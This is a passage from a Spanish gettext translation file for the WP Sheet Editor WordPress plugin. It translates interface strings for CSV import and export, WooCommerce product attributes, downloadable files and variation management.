msgstr "El archivo no existe. Ruta inválida: %s" #: universal-sheet/inc/csv-api.php:907 msgid "" "File uploaded succesfully but it's not a valid CSV file or it uses the wrong " "encoding. If you edited the file in Excel, verify it was saved as UTF-8 and " "keep in mind that, sometimes copy pasting from external places adds invalid " "characters. So make sure you paste only the values and not paste the " "formatting to avoid pasting invalid characters." msgstr "" "El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una " "codificación incorrecta. Si editaste el archivo en Excel, verifica que se " "guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares " "externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo " "los valores y no el formato para evitar pegar caracteres inválidos." #: universal-sheet/inc/csv-api.php:1098 msgid "Processing: %1$d of %2$d rows have been exported." msgstr "Procesando: Se han exportado %1$d de %2$d filas." #: universal-sheet/inc/csv-api.php:1113 msgid "" "

                  The export finished.

                  The download should start automatically." msgstr "" "

                  La exportación finalizó.

                  La descarga debería empezar automáticamente." #: universal-sheet/inc/csv-api.php:1115 msgid "" " If it doesn't start automatically you can find the file in the folder /wp-" "content/uploads/wp-sheet-editor/exports/ on your server.

                  The export " "files are deleted automatically after %d hours." msgstr "" " Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /" "wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los " "archivos de exportación se borran automáticamente después de %d horas." #: universal-sheet/universal-sheet.php:61 #: universal-sheet/universal-sheet.php:72 #, fuzzy #| msgid "- -" msgid "--" msgstr "- -" #: universal-sheet/universal-sheet.php:62 msgid "CSV file from my computer" msgstr "Archivo CSV desde mi computadora" #: universal-sheet/universal-sheet.php:63 msgid "CSV file from url" msgstr "Archivo CSV desde una URL" #: universal-sheet/universal-sheet.php:64 msgid "Copy & paste from another spreadsheet or table" msgstr "Copiar y pegar desde otra hoja de cálculo o tabla" #: universal-sheet/universal-sheet.php:65 msgid "CSV file in the server" msgstr "Archivo CSV en el servidor" #: universal-sheet/universal-sheet.php:73 msgid "Microsoft Excel (Office 365)" msgstr "Microsoft Excel (Office 365)" #: universal-sheet/universal-sheet.php:74 msgid "Google Sheets" msgstr "Hojas de Cálculo de Google" #: universal-sheet/universal-sheet.php:75 msgid "Other" msgstr "Otro" #: universal-sheet/universal-sheet.php:78 msgid "Older versions of Microsoft Excel" msgstr "Versiones más antiguas de Microsoft Excel" #: universal-sheet/universal-sheet.php:124 msgid "Ignore this column" msgstr "Ignorar esta columna" #: universal-sheet/universal-sheet.php:132 #: universal-sheet/views/import-modal.php:147 msgid "Full URL" msgstr "URL Completa" #: universal-sheet/universal-sheet.php:172 msgid "Export" msgstr "Exportar" #: universal-sheet/universal-sheet.php:197 msgid "Download CSV file" msgstr "Descargar archivo CSV" #: universal-sheet/universal-sheet.php:205 msgid "Import" msgstr "Importar" #: universal-sheet/views/export-modal.php:9 msgid "" "The export feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de exportación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/export-modal.php:12 #: universal-sheet/views/export-modal.php:21 msgid "Export to CSV" msgstr "Exportar a un archivo CSV" #: universal-sheet/views/export-modal.php:25 msgid "What columns do you want to export?" msgstr "¿Qué columnas quieres exportar?" #: universal-sheet/views/export-modal.php:33 msgid "Select active columns" msgstr "Seleccionar columnas habilitadas" #: universal-sheet/views/export-modal.php:34 woocommerce/inc/attributes.php:324 #: woocommerce/inc/attributes.php:356 msgid "Select all" msgstr "Seleccionar todas" #: universal-sheet/views/export-modal.php:35 msgid "Unselect all" msgstr "Deseleccionar todas" #: universal-sheet/views/export-modal.php:40 msgid "Which rows do you want to export?" msgstr "¿Qué filas quieres exportar?" #: universal-sheet/views/export-modal.php:42 msgid "All the rows from my current search" msgstr "Todas las filas de mi lista actual" #: universal-sheet/views/export-modal.php:43 msgid "Rows that I selected manually with the checkbox" msgstr "Las filas que he seleccionado manualmente en la hoja de cálculo" #: universal-sheet/views/export-modal.php:48 msgid "What app will you use to edit this file? (optional)" msgstr "¿Qué aplicación usarás para editar este archivo CSV? (opcional)" #: universal-sheet/views/export-modal.php:66 #: wp-sheet-editor/dev/inc/api/editor.php:305 msgid "Name of this export (optional)" msgstr "Nombre de esta exportación (opcional)" #: universal-sheet/views/export-modal.php:66 msgid "" "We will save the current search query and export settings, and you can " "execute this export with one click in the future using the dropdown in the " "export menu" msgstr "" "Guardaremos la consulta de búsqueda actual y la configuración de la " "exportación, y podrás ejecutar esta exportación con un solo clic en el " "futuro usando el desplegable del menú de exportación" #: universal-sheet/views/export-modal.php:83 msgid "Start new export" msgstr "Iniciar nueva exportación" #: universal-sheet/views/import-modal.php:10 msgid "" "The import feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de importación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/import-modal.php:13 #: universal-sheet/views/import-modal.php:24 msgid "Import csv" msgstr "Importar CSV" #: universal-sheet/views/import-modal.php:26 msgid "Source" msgstr "Fuente" #: universal-sheet/views/import-modal.php:38 msgid "CSV file" msgstr "Archivo CSV" #: universal-sheet/views/import-modal.php:40 #: universal-sheet/views/import-modal.php:45 #: universal-sheet/views/import-modal.php:51 #: universal-sheet/views/import-modal.php:61 #: universal-sheet/views/import-modal.php:99 #: universal-sheet/views/import-modal.php:168 msgid "Next" msgstr "Siguiente" #: universal-sheet/views/import-modal.php:48 msgid "Copy and Paste into the spreadsheet below" msgstr "Copiar y pegar en la siguiente hoja de cálculo" #: universal-sheet/views/import-modal.php:54 msgid "CSV file location" msgstr "Ubicación del archivo CSV" #: universal-sheet/views/import-modal.php:54 msgid "" "You must enter a file name in this field (not full path) and upload the file " "to the folder %s" msgstr "" "Debes ingresar un nombre de archivo en este campo (no la ruta completa) y " "subir el archivo a la carpeta %s" #: universal-sheet/views/import-modal.php:65 #: universal-sheet/views/import-modal.php:177 msgid "Show advanced options" msgstr "Mostrar opciones avanzadas" #: universal-sheet/views/import-modal.php:68 msgid "Separator" msgstr "Separador" #: universal-sheet/views/import-modal.php:73 msgid "" "Tip. You can use the \"export\" tool to download a CSV and see the available " "columns and format.
                  You can read our documentation here." msgstr "" "Consejo. Puedes usar la herramienta \"Exportar\" para descargar un archivo " "CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí." #: universal-sheet/views/import-modal.php:79 msgid "Select columns to import" msgstr "Selecciona las columnas a importar" #: universal-sheet/views/import-modal.php:80 msgid "" "Important. We only detected one column in the CSV file. If this is " "incorrect, follow these steps to fix it" msgstr "" "Importante. Sólo hemos detectado una columna en el archivo CSV. Si esto es " "incorrecto, sigue estos pasos para " "arreglarlo." #: universal-sheet/views/import-modal.php:81 msgid "We automatically detected all the columns." msgstr "Detectamos todas las columnas automáticamente" #: universal-sheet/views/import-modal.php:81 msgid "Import all the columns" msgstr "Importar todas las columnas" #: universal-sheet/views/import-modal.php:81 msgid "or" msgstr "o" #: universal-sheet/views/import-modal.php:81 msgid "Select individual columns to import" msgstr "Seleccionar columnas individuales a importar" #: universal-sheet/views/import-modal.php:83 msgid "" "Tip. If you edited information from this site, you should import the columns " "edited and record_id. Don't import columns that weren't modified" msgstr "" "Consejo. Si has editado información de este sitio, debes importar las " "columnas editadas y el record_id. No importes columnas que no hayan sido " "modificadas" #: universal-sheet/views/import-modal.php:85 msgid "Unselect all columns" msgstr "Deseleccionar todas las columnas" #: universal-sheet/views/import-modal.php:86 msgid "CSV Column" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:86 msgid "WordPress field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:88 msgid "Example: " msgstr "Ejemplo: " #: universal-sheet/views/import-modal.php:97 msgid "Remember this column mapping configuration?" msgstr "¿Recordar esta configuración de columnas para futuras importaciones?" #: universal-sheet/views/import-modal.php:98 #: universal-sheet/views/import-modal.php:167 #: universal-sheet/views/import-modal.php:202 msgid "Previous" msgstr "Anterior" #: universal-sheet/views/import-modal.php:102 msgid "Do you want to update or create items?" msgstr "¿Quieres actualizar o crear filas?" #: universal-sheet/views/import-modal.php:105 msgid "Create new items and update existing items" msgstr "Crear nuevas filas y actualizar las filas existentes" #: universal-sheet/views/import-modal.php:106 msgid "Import all rows as new" msgstr "Importar todas las filas como nuevas" #: universal-sheet/views/import-modal.php:107 msgid "Only create new items, ignore existing items" msgstr "Sólo crear las filas nuevas, ignorar las filas existentes" #: universal-sheet/views/import-modal.php:108 msgid "Update existing items, ignore new items" msgstr "Actualizar las filas existentes, ignorar las filas nuevas" #: universal-sheet/views/import-modal.php:111 msgid "How do we find existing items to update?" msgstr "¿Cómo debemos encontrar los elementos existentes a editar?" #: universal-sheet/views/import-modal.php:115 msgid "" "We find rows with the same value in the CSV Field and the WP Field.
                  I.e. " "Products with same SKU or ID." msgstr "" "Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo " "en WP.
                  Por ejemplo, productos con el mismo SKU o ID." #: universal-sheet/views/import-modal.php:117 msgid "" "You selected a column from the CSV file below but the column is not " "
                  being imported. Please go to the previous step and select the column to " "be imported.
                  Hypothetical example, if you want to update existing " "products with same ID, you need to import the ID column otherwise we don't " "have the IDs to find them." msgstr "" "Seleccionaste una columna del archivo CSV de abajo, pero la columna no está " "
                  siendo importada. Por favor, ve al paso anterior y selecciona la " "columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos " "existentes con el mismo ID, necesitas importar la columna ID, de lo " "contrario no tenemos los ID para encontrarlos." #: universal-sheet/views/import-modal.php:119 msgid "CSV Field" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:125 msgid "WordPress Field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:154 msgid "Field 2: CSV Field" msgstr "Campo 2: Columna en el CSV" #: universal-sheet/views/import-modal.php:160 msgid "Field 2: WordPress Field" msgstr "Campo 2: Campo en WordPress" #: universal-sheet/views/import-modal.php:171 msgid "Final step" msgstr "Paso final" #: universal-sheet/views/import-modal.php:172 msgid "" "1. Are we reading the file properly? Here is a preview of the first 5 rows " "from the file." msgstr "" "1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las " "primeras 5 filas del archivo." #: universal-sheet/views/import-modal.php:174 msgid "" "2. Please make a backup before executing the import, so you can revert in " "case you used wrong settings or the file was wrong. The import will save the " "information directly." msgstr "" "2. Por favor, haz una copia de seguridad antes de ejecutar la importación, " "para que puedas revertirla en caso de que hayas usado una configuración " "incorrecta o el archivo sea erróneo. La importación guardará la información " "directamente." #: universal-sheet/views/import-modal.php:180 msgid "Number of rows to process per batch:" msgstr "Número de filas a procesar por lote:" #: universal-sheet/views/import-modal.php:180 msgid "Leave empty to use the global settings." msgstr "Déjalo vacío para usar los ajustes globales." #: universal-sheet/views/import-modal.php:184 msgid "Start from row number:" msgstr "Comenzar desde este número de fila:" #: universal-sheet/views/import-modal.php:184 msgid "" "If you stop an import to edit your CSV file or change the import speed, you " "can start a new import and continue from where you left off." msgstr "" "Si detienes una importación para editar el archivo CSV o cambias la " "velocidad de importación, puedes iniciar una nueva importación y continuar " "desde donde la dejaste." #: universal-sheet/views/import-modal.php:188 msgid "Decode quotes?" msgstr "¿Decodificar las comillas?" #: universal-sheet/views/import-modal.php:191 msgid "Auto retry failed batches?" msgstr "¿Reintentar automáticamente los lotes fallidos?" #: universal-sheet/views/import-modal.php:191 msgid "" "We import the file in batches (i.e. 4 rows every few seconds). When one " "batch fails, we normally pause the import and ask you if you want to retry " "or cancel the import. Select this option to auto retry. Careful, you need to " "select the option to update existing rows in step 3 of the import, so we can " "retry and skip what was imported successfully and only retry what failed, if " "you dont select the option to update in step 3 of the import, every retry " "might duplicate some previously imported rows." msgstr "" "Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de " "segundos). Cuando un lote falla, normalmente pausamos la importación y te " "preguntamos si quieres volver a intentarlo o cancelar la importación. " "Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay " "que seleccionar la opción de actualizar las filas existentes en el paso 3 de " "la importación, para que podamos reintentar y omitir lo que se importó con " "éxito y sólo reintentar lo que falló. Si no se selecciona la opción de " "actualizar en el paso 3 de la importación, cada reintento podría duplicar " "algunas filas previamente importadas." #: universal-sheet/views/import-modal.php:195 msgid "Set post status to \"pending\" if featured image saving failed?" msgstr "" "¿Guardar con estado \"Pendiente\" si el guardado de la imagen destacada " "falló?" #: universal-sheet/views/import-modal.php:195 msgid "" "This option works only if you are importing the featured image column and " "saving the featured image failed." msgstr "" "Esta opción aplica solo si estás importando la columna de imagen destacada y " "falla el guardado de la imagen." #: universal-sheet/views/import-modal.php:214 msgid "The preview is fine, start import" msgstr "La vista previa está bien, iniciar importación" #: universal-sheet/views/import-modal.php:215 msgid "Cancel import" msgstr "Cancelar la importación" #: universal-sheet/views/import-modal.php:218 msgid "Importing" msgstr "Importando" #: universal-sheet/views/import-modal.php:226 msgid "View log" msgstr "Ver registro" #: woocommerce/inc/attributes.php:69 woocommerce/inc/attributes.php:715 msgid "Product attributes" msgstr "Atributos del producto" #: woocommerce/inc/attributes.php:266 msgid "Change attribute settings" msgstr "Cambiar los ajustes de los atributos" #: woocommerce/inc/attributes.php:274 msgid "What setting do you want to change?" msgstr "¿Qué ajuste quieres cambiar?" #: woocommerce/inc/attributes.php:276 msgid "Is Visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:276 msgid "Used for Variations?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/attributes.php:279 msgid "New value" msgstr "Nuevo valor" #: woocommerce/inc/attributes.php:284 msgid "What attribute do you want to edit?" msgstr "¿Qué atributo quieres editar?" #: woocommerce/inc/attributes.php:292 msgid "Replace a default attribute term" msgstr "Reemplazar un término de atributo por defecto" #: woocommerce/inc/attributes.php:300 msgid "Enter the attribute name" msgstr "Ingresa el nombre del atributo" #: woocommerce/inc/attributes.php:301 msgid "" "If this is a global attribute, enter the attribute key (i.e. pa_color). " "Enter the name if this is a custom attribute." msgstr "" "Si se trata de un atributo global, ingresa la clave del atributo (por " "ejemplo, pa_color). Ingresa el nombre si se trata de un atributo " "personalizado." #: woocommerce/inc/attributes.php:305 msgid "Replace this term" msgstr "Reemplazar este término" #: woocommerce/inc/attributes.php:307 msgid "Enter the term name or slug." msgstr "Ingresa el nombre o el slug del término." #: woocommerce/inc/attributes.php:310 msgid "With this term" msgstr "Con este término" #: woocommerce/inc/attributes.php:312 msgid "Leave this empty if you want to unset the term." msgstr "Deja este campo vacío si quieres anular el término." #: woocommerce/inc/attributes.php:671 msgid "Custom attribute: %s" msgstr "Atributo personalizado: %s" #: woocommerce/inc/attributes.php:684 msgid "Enter multiple attributes separated by |" msgstr "Ingresa varios atributos separados por |" #: woocommerce/inc/attributes.php:729 woocommerce/inc/attributes.php:731 msgid "Edit attributes" msgstr "Editar atributos" #: woocommerce/inc/attributes.php:732 msgid "" "Note: Separate values with the character %1$s
                  We recommend using Global " "Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have " "their own columns in the spreadsheet. You can edit them in the columns " "(faster) or using this popup.
                  If you are editing the attributes of variations, the variation " "must be enabled, otherwise the attributes won't be saved." msgstr "" "Nota: Separa los valores con el caracter %1$s
                  Te recomendamos usar " "Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales " "tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las " "columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la " "variación debe estar habilitada. De lo contrario, los atributos no se " "guardarán." #: woocommerce/inc/attributes.php:779 msgid "Position" msgstr "Posición" #: woocommerce/inc/attributes.php:779 msgid "Is visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:779 msgid "Used for variation?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/downloadable.php:110 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:667 msgid "Downloadable" msgstr "Descargable" #: woocommerce/inc/downloadable.php:132 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:801 msgid "Download limit" msgstr "Límite de descargas" #: woocommerce/inc/downloadable.php:148 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:813 msgid "Download expiry" msgstr "Caducidad de la descarga" #: woocommerce/inc/downloadable.php:164 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:825 msgid "Download type" msgstr "Tipo de descarga" #: woocommerce/inc/downloadable.php:171 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:829 msgid "Standard Product" msgstr "Producto estándar" #: woocommerce/inc/downloadable.php:172 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:830 msgid "Application/Software" msgstr "Aplicación/Software" #: woocommerce/inc/downloadable.php:173 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:831 msgid "Music" msgstr "Música" #: woocommerce/inc/downloadable.php:186 msgid "Download files : names" msgstr "Archivos descargables: Nombres" #: woocommerce/inc/downloadable.php:194 msgid "" "This is optional. Leave empty to use the name from the URLs. Enter multiple " "names separated by commas" msgstr "" "Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa " "varios nombres separados por comas." #: woocommerce/inc/downloadable.php:206 msgid "Download files : URLs" msgstr "Archivos descargables: URLs" #: woocommerce/inc/downloadable.php:213 msgid "Enter multiple URLs separated by commas" msgstr "Ingresa múltiples URLs separadas por comas" #: woocommerce/inc/downloadable.php:229 woocommerce/inc/downloadable.php:233 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:840 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:844 msgid "Download files" msgstr "Archivos descargables" #: woocommerce/inc/downloadable.php:231 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:842 msgid "Edit files" msgstr "Editar archivos" #: woocommerce/inc/downloadable.php:234 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "" "Copy files from this product: (You need to save the changes afterwards.)" msgstr "" "Copiar archivos de este producto: (Necesitas guardar los cambios después.)" #: woocommerce/inc/downloadable.php:234 #: woocommerce/views/spreadsheet-create-variations-modal.php:21 #: woocommerce/views/spreadsheet-create-variations-modal.php:48 #: woocommerce/views/spreadsheet-create-variations-modal.php:89 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "Select product..." msgstr "Seleccionar producto...." #: woocommerce/inc/downloadable.php:258 woocommerce/inc/downloadable.php:259 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 msgid "File (url or path)" msgstr "Archivo (URL o ruta)" #: woocommerce/inc/downloadable.php:289 msgid "" "We will save these files. Existing files will be overwritten. Enter file URL " "only, you can enter multiple URLs separated by comma." msgstr "" "Guardaremos estos archivos. Los archivos existentes se sobrescribirán. " "Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas " "por comas." #: woocommerce/inc/downloadable.php:293 msgid "" "We will append the new file to the existing files in the products. Enter " "file URL only, you can enter multiple URLs separated by comma." msgstr "" "Añadiremos el nuevo archivo al inicio de los archivos existentes en los " "productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs " "separadas por comas." #: woocommerce/inc/downloadable.php:371 woocommerce/inc/variations.php:1317 msgid "Please select a product." msgstr "Por favor, selecciona un producto." #: woocommerce/inc/downloadable.php:401 msgid "Files saved." msgstr "Archivos guardados." #: woocommerce/inc/downloadable.php:404 msgid "The files could not be saved." msgstr "Los archivos no se pudieron guardar." #: woocommerce/inc/formatting.php:57 msgid "" "The \"Regular price\" column is hidden now. Please enable it in the columns " "manager before running this bulk edit." msgstr "" "La columna \"Precio normal\" está oculta. Actívala en el gestor de columnas " "antes de realizar esta edición masiva." #: woocommerce/inc/import-export.php:97 woocommerce/woocommerce.php:701 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:498 msgid "Type" msgstr "Tipo" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:98 woocommerce/inc/import-export.php:196 #: woocommerce/woocommerce.php:403 msgid "Attribute %d name" msgstr "Nombre del atributo %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:99 woocommerce/inc/import-export.php:197 #: woocommerce/woocommerce.php:405 msgid "Attribute %d value(s)" msgstr "Valor del/los atributo(s) %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:100 woocommerce/inc/import-export.php:198 #: woocommerce/woocommerce.php:407 msgid "Attribute %d visible" msgstr "Atributo %d visible" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:101 woocommerce/inc/import-export.php:199 #: woocommerce/woocommerce.php:409 msgid "Attribute %d global" msgstr "Atributo %d global" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:200 woocommerce/woocommerce.php:411 msgid "Attribute %d default" msgstr "Atributo %d por defecto" #. translators: %d: Download number #: woocommerce/inc/import-export.php:203 woocommerce/woocommerce.php:413 msgid "Download %d name" msgstr "Nombre de la descarga %d" #: woocommerce/inc/import-export.php:204 msgid "Download %d ID" msgstr "ID de la descarga %d" #. translators: %d: Download number #: woocommerce/inc/import-export.php:205 woocommerce/woocommerce.php:415 msgid "Download %d URL" msgstr "URL de la descarga %d" #: woocommerce/inc/import-export.php:319 msgid "Skip broken images?" msgstr "¿Omitir las imágenes rotas?" #: woocommerce/inc/import-export.php:319 msgid "" "By the default, the import stops when a product references a broken images " "and you have to correct the issue in the file and start a new import. Enable " "this option and we will let you import products without images when the " "image url is broken" msgstr "" "Por defecto, la importación se detiene cuando un producto hace referencia a " "una imagen rota y hay que corregir el problema en el archivo e iniciar una " "nueva importación. Habilita esta opción y te permitiremos importar productos " "sin imágenes cuando la URL de la imagen esté rota" #: woocommerce/inc/import-export.php:326 msgid "Downloads" msgstr "Descargas" #: woocommerce/inc/import-export.php:327 msgid "Attributes" msgstr "Atributos" #: woocommerce/inc/import-export.php:458 msgid "" "Here is a sample CSV containing all " "types of products." msgstr "" "Aquí hay un archivo CSV como ejemplo " "que contiene todo tipo de productos." #: woocommerce/inc/import-export.php:617 msgid "" "One variation row has a parent product that does not exist. The \"parent\" " "column contains the %1$s: %2$s. Please correct it and start a new import" msgstr "" "Una fila de variación tiene un producto padre que no existe. La columna " "\"padre\" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva " "importación" #: woocommerce/inc/variations.php:28 #: woocommerce/views/spreadsheet-create-variations-modal.php:10 #: woocommerce/views/spreadsheet-create-variations-modal.php:75 #: wp-sheet-editor/dev/inc/api/editor.php:324 msgid "Create variations" msgstr "Crear variaciones" #: woocommerce/inc/variations.php:30 msgid "Create and copy variations for variable products." msgstr "Crear y copiar variaciones para los productos variables." #: woocommerce/inc/variations.php:38 msgid "Display variations" msgstr "Mostrar las variaciones" #: woocommerce/inc/variations.php:40 msgid "" "When this is enabled the products variations will be displayed and you will " "be able to edit them." msgstr "" "Cuando esta opción está habilitada, las variaciones de los productos se " "mostrarán y podrás editarlas." #: woocommerce/inc/variations.php:362 msgid "Edit only parent products" msgstr "Editar solo los productos simples y padres" #: woocommerce/inc/variations.php:363 msgid "Edit only variations" msgstr "Editar solo las variaciones" #: woocommerce/inc/variations.php:410 msgid "Allow to edit this column on variation rows?" msgstr "¿Permitir editar esta columna en las filas de variaciones?" #: woocommerce/inc/variations.php:411 msgid "" "We automatically allow columns for variations if at least one variation is " "using that field." msgstr "" "Automáticamente, permitimos la edición de columnas en filas de variaciones " "si al menos una variación usa ese campo." #: woocommerce/inc/variations.php:458 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:889 msgid "Variation description" msgstr "Descripción de la variación" #: woocommerce/inc/variations.php:469 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:907 msgid "Variation enabled?" msgstr "¿Variación habilitada?" #: woocommerce/inc/variations.php:486 woocommerce/inc/variations.php:488 #: woocommerce/inc/variations.php:490 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:926 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:928 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:930 msgid "Default attributes" msgstr "Atributos predeterminados" #: woocommerce/inc/variations.php:491 msgid "" "Attributes appear as dropdowns in the product page where the user can select " "the variation colors, sizes, and any attribute. Here you can define the " "default options selected in the dropdowns.
                  Separate values with the " "character %s
                  This only works for Variable Products and it must have " "variations, otherwise the default attributes won't be saved." msgstr "" "Los atributos aparecen como desplegables en la página del producto, donde el " "usuario puede seleccionar los colores, tamaños y cualquier atributo de la " "variación. Aquí se pueden definir las opciones por defecto seleccionadas en " "los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo " "funciona para Productos Variables y deben tener variaciones, de lo contrario " "los atributos por defecto no se guardarán." #: woocommerce/inc/variations.php:935 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:136 msgid "Variation: %s" msgstr "Variación: %s" #: woocommerce/inc/variations.php:1090 woocommerce/inc/variations.php:1260 msgid "" "Please update all the WP Sheet Editor plugins. This feature requires the " "latest version of all our plugins." msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Esta función requiere la última versión de todos nuestros " "plugins." #: woocommerce/inc/variations.php:1105 msgid "The source product doesn't have variations." msgstr "El producto fuente no tiene variaciones." #: woocommerce/inc/variations.php:1256 woocommerce/inc/variations.php:1283 #: wp-sheet-editor/dev/inc/ajax.php:198 msgid "Request not allowed. Try again later." msgstr "Solicitud no permitida. Inténtalo más tarde." #: woocommerce/inc/variations.php:1267 msgid "We don't have variations to copy." msgstr "No encontramos variaciones para copiar." #: woocommerce/inc/variations.php:1272 msgid "{total_created} of {total} variations created." msgstr "{total_created} de {total} variaciones han sido creadas." #: woocommerce/inc/variations.php:1364 woocommerce/inc/variations.php:1465 msgid "%s variations created." msgstr "%s variaciones creadas." #: woocommerce/inc/variations.php:1376 msgid "Target products not found." msgstr "Productos de destino no encontrados." #: woocommerce/inc/variations.php:1481 msgid "" "The option to create variations for every combination of attributes requires " "WooCommerce 3.0 or higher. Please update WooCommerce." msgstr "" "La opción de crear variaciones para cada combinación de atributos requiere " "WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce." #: woocommerce/inc/variations.php:1485 msgid "User not allowed" msgstr "Usuario no autorizado" #: woocommerce/inc/variations.php:1489 msgid "Data missing, try again later." msgstr "Faltan datos, inténtalo de nuevo más tarde." #: woocommerce/inc/variations.php:1506 msgid "Wrong product type. Make sure it is a variable product." msgstr "Tipo de producto equivocado. Asegúrate que sea un producto variable." #: woocommerce/inc/variations.php:1621 msgid "Please select a source product." msgstr "Por favor, selecciona un producto de origen." #: woocommerce/inc/variations.php:1799 msgid "Error on row ID: %d - %s" msgstr "Error en la fila con el ID: %d - %s" #: woocommerce/inc/variations.php:1806 msgid "Please correct the error and save again." msgstr "Por favor, corrige el error y guarda de nuevo." #: woocommerce/views/spreadsheet-create-variations-modal.php:8 msgid "Variations Manager" msgstr "Gestor de Variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:11 #: woocommerce/views/spreadsheet-create-variations-modal.php:15 msgid "Copy variations" msgstr "Copiar variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:16 #: woocommerce/views/spreadsheet-create-variations-modal.php:76 msgid "Tutorial" msgstr "Tutorial" #: woocommerce/views/spreadsheet-create-variations-modal.php:20 msgid "Copy variations and attributes from this product:" msgstr "Copiar variaciones y atributos de este producto:" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "I don't want to copy all the variations" msgstr "No quiero copiar todas las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "" "By default we will copy all the attributes and all the variations and " "replace the existing variations. You can activate this option to copy " "individual variations and append them to the existing variations in the " "target product." msgstr "" "Por defecto, copiaremos todos los atributos y todas las variaciones y " "reemplazaremos las variaciones existentes. Puedes habilitar esta opción para " "copiar variaciones individuales y añadirlas a las variaciones existentes en " "el producto de destino." #: woocommerce/views/spreadsheet-create-variations-modal.php:31 msgid "Which variations do you want to copy?" msgstr "¿Qué variaciones quieres copiar?" #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "The variations are for these products: " msgstr "Las variaciones son para este/estos producto(s): " #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "Copy the variations into these products." msgstr "Copiar las variaciones este/estos producto(s)." #: woocommerce/views/spreadsheet-create-variations-modal.php:42 #: woocommerce/views/spreadsheet-create-variations-modal.php:83 msgid "Select individual products" msgstr "Seleccionar productos individuales" #: woocommerce/views/spreadsheet-create-variations-modal.php:43 #: woocommerce/views/spreadsheet-create-variations-modal.php:84 msgid "Select all the products from a search" msgstr "Seleccionar todos los productos de una búsqueda" #: woocommerce/views/spreadsheet-create-variations-modal.php:44 msgid "All the products in the store" msgstr "Todos los productos de la tienda" #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "I understand it will update the products from my search." msgstr "Entiendo que se editarán los productos de mi búsqueda." #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "" "For example, if you searched for posts by author = Mark using the search " "tool, we will update only posts with author Mark" msgstr "" "Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta " "de búsqueda, actualizaremos sólo los posts con el autor Marcos" #: woocommerce/views/spreadsheet-create-variations-modal.php:53 msgid "Show advanced options " msgstr "Mostrar opciones avanzadas " #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "Use prices from simple product (parent) on the variations" msgstr "Usar los precios del producto simple (Padre) para las variaciones" #: 